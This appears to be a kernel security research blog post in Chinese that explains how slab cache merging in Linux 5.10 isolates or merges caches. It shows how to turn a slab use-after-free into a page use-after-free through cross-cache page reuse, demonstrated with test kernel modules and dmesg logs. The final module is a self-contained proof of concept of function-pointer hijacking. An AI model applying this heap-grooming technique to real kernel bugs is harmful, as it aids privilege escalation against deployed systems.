Linux 内核利用技巧: Slab UAF to Page UAF
2023-02-03 11:52:06
【 大 中 小】
author: 熊潇 of IceSword Lab 本文研究了内核编译选项 CONFIG_SLAB_MERGE_DEFAULT 对 kmem_cache 分配的影响. 以及开启该配置的时候, slab UAF 的一种利用方案 (方案来源, 本文内容基于 Linux-5.10.90). 阅读前, 需要对 slab/slub, Buddy system 有基本的了解. Part. 1创建 struct kmem_cache 的时候,有两种情况: kmem_cache_create(..) kmem_cache_create_usercopy(..) if (!usersize) // usersize == 0 s = __kmem_cache_alias(name, size, align, flags, ctor); // s 为 NULL 才会创建新的 slabif (s) goto out_unlock; create_cache()// 进入 `__kmem_cache_alias` 看看__kmem_cache_alias(..) // 检查 CONFIG_SLAB_MERGE_DEFAULT 配置;// 如果开启了,则通过 sysfs_slab_alias 找到已经创建的相同大小的 slab 作为替代 s = find_mergeable(..) list_for_each_entry_reverse(s, &slab_caches, list) { if (slab_unmergeable(s)) // slab_nomerge 为 true 时 return 1;continue; ... return s; } returnNULL; // slab_nomerge 为 true 的时候返回 NULLif(s) ... sysfs_slab_alias(..) return s;// CONFIG_SLAB_MERGE_DEFAULT=y -> slab_nomerge == false// CONFIG_SLAB_MERGE_DEFAULT=n -> slab_nomerge == truestaticbool slab_nomerge = !IS_ENABLED(CONFIG_SLAB_MERGE_DEFAULT);// https://cateee.net/lkddb/web-lkddb/SLAB_MERGE_DEFAULT.html// CONFIG_SLAB_MERGE_DEFAULT: Allow slab caches to be merged// For reduced kernel memory fragmentation, slab caches can be merged // when they share the same size and other characteristics. // This carries a risk of kernel heap overflows being able to // overwrite objects from merged caches (and more easily control cache layout), // which makes such heap attacks easier to exploit by attackers. Part.2测试 CONFIG_SLAB_MERGE_DEFAULT 的影响 Host 主机(开启了配置): └─[$] uname -r5.15.0-52-generic└─[$] cat /boot/config-$(uname -r) |grep CONFIG_SLAB_MERGE_DEFAULT CONFIG_SLAB_MERGE_DEFAULT=y VM (未开启配置): ➜ ~ uname -r5.10.90└─[$] cat .config|grep CONFIG_SLAB_MERGE_DEFAULT # CONFIG_SLAB_MERGE_DEFAULT is not set code #include<linux/module.h>#include<linux/kernel.h>#include<linux/init.h>#include<linux/mm.h>#include<linux/slab.h>#include<linux/slub_def.h>#include<linux/sched.h>#define OBJ_SIZE 256#define OBJ_NUM ((PAGE_SIZE/OBJ_SIZE) * 3)structmy_struct {char data[OBJ_SIZE]; }; staticstructkmem_cache *my_cachep;staticstructmy_struct *ms[OBJ_NUM];staticint __init km_init(void){ int i, cpu; structkmem_cache_cpu *c;structpage *pg; pr_info("Hello\n"); my_cachep = kmem_cache_create("my_struct", sizeof(struct my_struct), 0, SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT, NULL); pr_info("my_cachep: %px, %s\n", my_cachep, my_cachep->name); pr_info("my_cachep.size: %u\n", my_cachep->size); pr_info("my_cachep.object_size: %u\n", kmem_cache_size(my_cachep)); cpu = get_cpu(); pr_info("cpu: %d\n", cpu); c = per_cpu_ptr(my_cachep->cpu_slab, cpu); for(i = 0; i<OBJ_NUM; i++){ ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL); pg = virt_to_page(ms[i]); pr_info("[%02d] object: %px, page: %px(%px), %d\n", i, ms[i], pg, page_address(pg), (void *)pg == (void *)c->page); } return0; } staticvoid __exit km_exit(void) { int i; for( i = 0; i<OBJ_NUM; i++){ kmem_cache_free(my_cachep, ms[i]); } kmem_cache_destroy(my_cachep); pr_info("Bye\n"); } module_init(km_init); module_exit(km_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("X++D"); MODULE_DESCRIPTION("Kernel xxx Module."); MODULE_VERSION("0.1");
VM result 分配的 object 地址和 page 的关系非常清晰 ➜ ~ insmod slab-tc.ko [ 1184.983757] Hello [ 1184.984278] my_cachep: ffff8880096ea000, my_struct [ 1184.985568] my_cachep.size: 256 [ 1184.986451] my_cachep.object_size: 256 [ 1184.987488] cpu: 0 **[ 1184.988945] [00] object: ffff888005c38000, page: ffffea0000170e00(ffff888005c38000), 1** [ 1184.991189] [01] object: ffff888005c38100, page: ffffea0000170e00(ffff888005c38000), 1 [ 1184.993438] [02] object: ffff888005c38200, page: ffffea0000170e00(ffff888005c38000), 1 [ 1184.995688] [03] object: ffff888005c38300, page: ffffea0000170e00(ffff888005c38000), 1 [ 1184.998018] [04] object: ffff888005c38400, page: ffffea0000170e00(ffff888005c38000), 1 [ 1185.000234] [05] object: ffff888005c38500, page: ffffea0000170e00(ffff888005c38000), 1 [ 1185.002529] [06] object: ffff888005c38600, page: ffffea0000170e00(ffff888005c38000), 1 [ 1185.004702] [07] object: ffff888005c38700, page: ffffea0000170e00(ffff888005c38000), 1 [ 1185.006841] [08] object: ffff888005c38800, page: ffffea0000170e00(ffff888005c38000), 1 [ 1185.008919] [09] object: ffff888005c38900, page: ffffea0000170e00(ffff888005c38000), 1 [ 1185.010944] [10] object: ffff888005c38a00, page: ffffea0000170e00(ffff888005c38000), 1 [ 1185.013021] [11] object: ffff888005c38b00, page: ffffea0000170e00(ffff888005c38000), 1 [ 1185.014904] [12] object: ffff888005c38c00, page: ffffea0000170e00(ffff888005c38000), 1 [ 1185.016926] [13] object: ffff888005c38d00, page: ffffea0000170e00(ffff888005c38000), 1 [ 1185.018883] [14] object: ffff888005c38e00, page: ffffea0000170e00(ffff888005c38000), 1 **[ 1185.020761] [15] object: ffff888005c38f00, page: ffffea0000170e00(ffff888005c38000), 1** **[ 1185.022735] [16] object: ffff88800953d000, page: ffffea0000254f40(ffff88800953d000), 1** [ 1185.024679] [17] object: ffff88800953d100, page: ffffea0000254f40(ffff88800953d000), 1 [ 1185.026579] [18] object: ffff88800953d200, page: ffffea0000254f40(ffff88800953d000), 1 [ 1185.028528] [19] object: ffff88800953d300, page: ffffea0000254f40(ffff88800953d000), 1 [ 1185.030443] [20] object: ffff88800953d400, page: ffffea0000254f40(ffff88800953d000), 1 [ 1185.032372] [21] object: ffff88800953d500, page: ffffea0000254f40(ffff88800953d000), 1 [ 1185.034263] [22] object: ffff88800953d600, page: ffffea0000254f40(ffff88800953d000), 1 [ 1185.036116] [23] object: ffff88800953d700, page: ffffea0000254f40(ffff88800953d000), 1 [ 1185.038086] [24] object: ffff88800953d800, page: ffffea0000254f40(ffff88800953d000), 1 [ 1185.039929] [25] object: ffff88800953d900, page: ffffea0000254f40(ffff88800953d000), 1 [ 1185.041944] [26] object: ffff88800953da00, page: ffffea0000254f40(ffff88800953d000), 1 [ 1185.043852] [27] object: ffff88800953db00, page: ffffea0000254f40(ffff88800953d000), 1 [ 1185.045736] [28] object: ffff88800953dc00, page: ffffea0000254f40(ffff88800953d000), 1 [ 1185.047678] [29] object: ffff88800953dd00, page: ffffea0000254f40(ffff88800953d000), 1 [ 1185.049585] [30] object: ffff88800953de00, page: ffffea0000254f40(ffff88800953d000), 1 **[ 1185.051391] [31] object: ffff88800953df00, page: ffffea0000254f40(ffff88800953d000), 1** **[ 1185.053206] [32] object: ffff888009543000, page: ffffea00002550c0(ffff888009543000), 1** [ 1185.055038] [33] object: ffff888009543100, page: ffffea00002550c0(ffff888009543000), 1 [ 1185.056666] [34] object: ffff888009543200, page: ffffea00002550c0(ffff888009543000), 1 [ 1185.058430] [35] object: ffff888009543300, page: ffffea00002550c0(ffff888009543000), 1 [ 1185.060174] [36] object: ffff888009543400, page: ffffea00002550c0(ffff888009543000), 1 [ 1185.061955] [37] object: ffff888009543500, page: ffffea00002550c0(ffff888009543000), 1 [ 1185.063694] [38] object: ffff888009543600, page: ffffea00002550c0(ffff888009543000), 1 [ 1185.065468] [39] object: ffff888009543700, page: ffffea00002550c0(ffff888009543000), 1 [ 1185.067231] [40] object: ffff888009543800, page: ffffea00002550c0(ffff888009543000), 1 [ 1185.068930] [41] object: ffff888009543900, page: ffffea00002550c0(ffff888009543000), 1 [ 1185.070600] [42] object: ffff888009543a00, page: ffffea00002550c0(ffff888009543000), 1 [ 1185.072224] [43] object: ffff888009543b00, page: ffffea00002550c0(ffff888009543000), 1 [ 1185.073911] [44] object: ffff888009543c00, page: ffffea00002550c0(ffff888009543000), 1 [ 1185.075534] [45] object: ffff888009543d00, page: ffffea00002550c0(ffff888009543000), 1 [ 1185.077211] [46] object: ffff888009543e00, page: ffffea00002550c0(ffff888009543000), 1 **[ 1185.078887] [47] object: ffff888009543f00, page: ffffea00002550c0(ffff888009543000), 1** 有独立的 sysfs 目录 ➜ ~ file /sys/kernel/slab/my_struct /sys/kernel/slab/my_struct: directory ➜ ~ file /sys/kernel/slab/pool_workqueue /sys/kernel/slab/pool_workqueue: directory
Host result 分配的 obj 位于的 page 地址非常杂乱,my_cachep 的 name 也变成了 pool_workqueue [435532.063645] Hello [435532.063655] my_cachep: ffff8faf40045900, pool_workqueue [435532.063658] my_cachep.size: 256 [435532.063659] my_cachep.object_size: 256 [435532.063660] cpu: 0 [435532.063662] [00] object: ffff8fafb100b400, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063664] [01] object: ffff8fafb100a700, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063666] [02] object: ffff8fafb100ae00, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063668] [03] object: ffff8fafb100b900, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063670] [04] object: ffff8fafb100be00, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063672] [05] object: ffff8fafb100bf00, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063674] [06] object: ffff8fafb100af00, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063676] [07] object: ffff8fafb100ad00, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063677] [08] object: ffff8fafb100bc00, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063679] [09] object: ffff8fafb100a600, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063681] [10] object: ffff8fafb100a800, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063683] [11] object: ffff8fafb100a000, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063685] [12] object: ffff8fafb100ab00, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063687] [13] object: ffff8fafb100b300, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063689] [14] object: ffff8fafb100a900, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063690] [15] object: ffff8fafb100b000, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063692] [16] object: ffff8fafb100a100, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063694] [17] object: ffff8fafb100b100, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063696] [18] object: ffff8fafb100b500, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063698] [19] object: ffff8fafb100bd00, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063700] [20] object: ffff8fafb100ba00, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063702] [21] object: ffff8fafb100b700, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063703] [22] object: ffff8fafb100a200, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063705] [23] object: ffff8fafb100b200, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063707] [24] object: ffff8fafb100bb00, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063709] [25] object: ffff8fafb100aa00, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063711] [26] object: ffff8fafb100a500, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063713] [27] object: ffff8fafb100b600, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063714] [28] object: ffff8fafb100b800, page: ffffd50545c402c0(ffff8fafb100b000), 0 [435532.063716] [29] object: ffff8fafb100a400, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063718] [30] object: ffff8fafb100ac00, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063720] [31] object: ffff8fafb100a300, page: ffffd50545c40280(ffff8fafb100a000), 1 [435532.063724] [32] object: ffff8faf488fec00, page: ffffd50544223f80(ffff8faf488fe000), 1 [435532.063726] [33] object: ffff8faf488fe400, page: ffffd50544223f80(ffff8faf488fe000), 1 [435532.063728] [34] object: ffff8faf488ff800, page: ffffd50544223fc0(ffff8faf488ff000), 0 [435532.063730] [35] object: ffff8faf488ff600, page: ffffd50544223fc0(ffff8faf488ff000), 0 [435532.063732] [36] object: ffff8faf488fe500, page: ffffd50544223f80(ffff8faf488fe000), 1 [435532.063734] [37] object: ffff8faf488fea00, page: ffffd50544223f80(ffff8faf488fe000), 1 [435532.063736] [38] object: ffff8faf488ffb00, page: ffffd50544223fc0(ffff8faf488ff000), 0 [435532.063737] [39] object: ffff8faf488ff200, page: ffffd50544223fc0(ffff8faf488ff000), 0 [435532.063739] [40] object: ffff8faf488fe200, page: ffffd50544223f80(ffff8faf488fe000), 1 [435532.063741] [41] object: ffff8faf488ff700, page: ffffd50544223fc0(ffff8faf488ff000), 0 [435532.063743] [42] object: ffff8faf488ffa00, page: ffffd50544223fc0(ffff8faf488ff000), 0 [435532.063745] [43] object: ffff8faf488ff400, page: ffffd50544223fc0(ffff8faf488ff000), 0 [435532.063747] [44] object: ffff8faf488fe700, page: ffffd50544223f80(ffff8faf488fe000), 1 [435532.063749] [45] object: ffff8faf488fee00, page: ffffd50544223f80(ffff8faf488fe000), 1 [435532.063750] [46] object: ffff8faf488ff900, page: ffffd50544223fc0(ffff8faf488ff000), 0 [435532.063752] [47] object: ffff8faf488ffe00, page: ffffd50544223fc0(ffff8faf488ff000), 0 [435532.065672] Bye sysfs 目录也是和 pool_workqueue 共用的 └─[$] file /sys/kernel/slab/my_struct /sys/kernel/slab/my_struct: symbolic link to :0000256 └─[$] file /sys/kernel/slab/pool_workqueue /sys/kernel/slab/pool_workqueue: symbolic link to :0000256
Part. 3根据前两个部分知道,开启 CONFIG_SLAB_MERGE_DEFAULT 配置后,不同类型的 kmem_cache 的内存完全隔离. 这种情况下,想要占据被释放的 slab object 内存(比如一个 struct file) 只能通过申请相同的 slab object, 而像 struct file 这样的内存,用户态可以操纵的内容非常有限, 解决办法是: 占据目标 object (e.g. struct file) 所在的整个 page,在 object invalid free 之后 free 掉同页面其他 object,再满足一系列条件 就可以让整个 page 被 buddy system 回收,并被重新申请
条件一: 目标 object 所在的 page 不是 s->cpu_slab->page static __always_inline voiddo_slab_free(struct kmem_cache *s, struct page *page, void *head, void *tail, int cnt, unsignedlong addr){... c = raw_cpu_ptr(s->cpu_slab);... **if (likely(page == c->page)) {** ... } else __slab_free(s, page, head, tail_obj, cnt, addr); ... 条件二: object 所在 page 满足 page->pobjects > (s)->cpu_partial // #define slub_cpu_partial(s) ((s)->cpu_partial)staticvoidput_cpu_partial(struct kmem_cache *s, struct page *page, int drain)... oldpage = this_cpu_read(s->cpu_slab->partial); pobjects = oldpage->pobjects; **if (drain && pobjects > slub_cpu_partial(s)) {** ... unfreeze_partials(s, this_cpu_ptr(s->cpu_slab)); 条件三: object 所在 page 位于 freelist 且 page.inuse为 0 staticvoidunfreeze_partials(struct kmem_cache *s, struct kmem_cache_cpu *c){... while ((page = slub_percpu_partial(c))) {... **if (unlikely(!new.inuse && n->nr_partial >= s->min_partial)) {** page->next = discard_page; **discard_page = page;** } else {... } }... while (discard_page) { page = discard_page; discard_page = discard_page->next; stat(s, DEACTIVATE_EMPTY); **discard_slab(s, page);** stat(s, FREE_SLAB); }
触发方法: 创建一批 objects 占满 cpu_partial + 2 个 pages, 保证 free 的时候 page->pobjects > (s)->cpu_partial 创建 objects 占据一个新的 page ,但不占满,保证 c->page 指向这个 page free 掉一个 page 的所有 objects, 使这个 page 的 page.inuse == 0 剩下的每个 page free 一个 object 用完 partial list 后就会 free 掉目标 page
代码如下: /* * * 通过 free slab objects free 掉一个 page, 然后 UAF 利用 *➜ ~ uname -r5.10.90 * */#include<linux/module.h>#include<linux/kernel.h>#include<linux/init.h>#include<linux/mm.h>#include<linux/slab.h>#include<linux/slub_def.h>#include<linux/sched.h>#define OBJ_SIZE 256#define OBJ_NUM (16 * 16)structmy_struct {union {char data[OBJ_SIZE]; struct {void (*func)(void); char paddings[OBJ_SIZE - 8]; }; };} __attribute__((aligned(OBJ_SIZE)));staticstructkmem_cache *my_cachep;structmy_struct **tmp_ms;structmy_struct *ms;structmy_struct *random_ms;structpage *target;voidhello_func(void){ pr_info("Hello\n");}voidhack_func(void){ pr_info("Hacked\n");}staticint __init km_init(void){#define OO_SHIFT 16#define OO_MASK ((1 << OO_SHIFT) - 1)int i, cpu_partial, objs_per_slab; structpage *target;structpage *realloc;void *p; tmp_ms = kmalloc(OBJ_NUM * 8, GFP_KERNEL); my_cachep = kmem_cache_create("my_struct", sizeof(struct my_struct), 0, SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT,NULL); pr_info("%s\n", my_cachep->name); pr_info("cpu_partial: %d\n", my_cachep->cpu_partial); pr_info("objs_per_slab: %u\n", my_cachep->oo.x & OO_MASK); pr_info("\n"); cpu_partial = my_cachep->cpu_partial; objs_per_slab = my_cachep->oo.x & OO_MASK; random_ms = kmem_cache_alloc(my_cachep, GFP_KERNEL); // 16 * 14for(i = 0; i < (objs_per_slab * (cpu_partial + 1)); i++){ tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL); } // 15for(i = (objs_per_slab * (cpu_partial + 1)); i < objs_per_slab * (cpu_partial + 2) - 1; i++){ tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL); } // free normal object ms = kmem_cache_alloc(my_cachep, GFP_KERNEL); target = virt_to_page(ms); pr_info("target page: %px\n", target); ms->func = (void *)hello_func; ms->func(); kmem_cache_free(my_cachep, ms); // 17for(i = objs_per_slab * (cpu_partial + 2) - 1; i < objs_per_slab * (cpu_partial + 2) - 1 + (objs_per_slab + 1); i++){ tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL); } // free pagefor(i = (objs_per_slab * (cpu_partial + 1)); i < objs_per_slab * (cpu_partial + 2) - 1; i++){ kmem_cache_free(my_cachep, tmp_ms[i]); tmp_ms[i] = NULL; } for(i = objs_per_slab * (cpu_partial + 2) - 1; i < objs_per_slab * (cpu_partial + 2) - 1 + (objs_per_slab + 1); i++){ kmem_cache_free(my_cachep, tmp_ms[i]); tmp_ms[i] = NULL; } for(i = 0; i < (objs_per_slab * (cpu_partial + 1)); i++){ if(i % objs_per_slab == 0){ kmem_cache_free(my_cachep, tmp_ms[i]); tmp_ms[i] = NULL; } } // in other evil taskrealloc = alloc_page(GFP_KERNEL); if(realloc == target){ pr_info("[+] Realloc success!!!\n"); }else{ return0; } p = page_address(realloc); for(i = 0; i< PAGE_SIZE/8; i++){ ((void **)p)[i] = (void *)hack_func; } // UAFif(0) return; else ms->func(); free_page((unsignedlong)p); return0;}staticvoid __exit km_exit(void){ int i; for(i = 0; i < OBJ_NUM; i++){ if(tmp_ms[i]) kmem_cache_free(my_cachep, tmp_ms[i]); } kmem_cache_free(my_cachep, random_ms); kmem_cache_destroy(my_cachep); kfree(tmp_ms); pr_info("Bye\n");}module_init(km_init);module_exit(km_exit);MODULE_LICENSE("GPL");MODULE_AUTHOR("X++D");MODULE_DESCRIPTION("Kernel xxx Module.");MODULE_VERSION("0.1");
|
|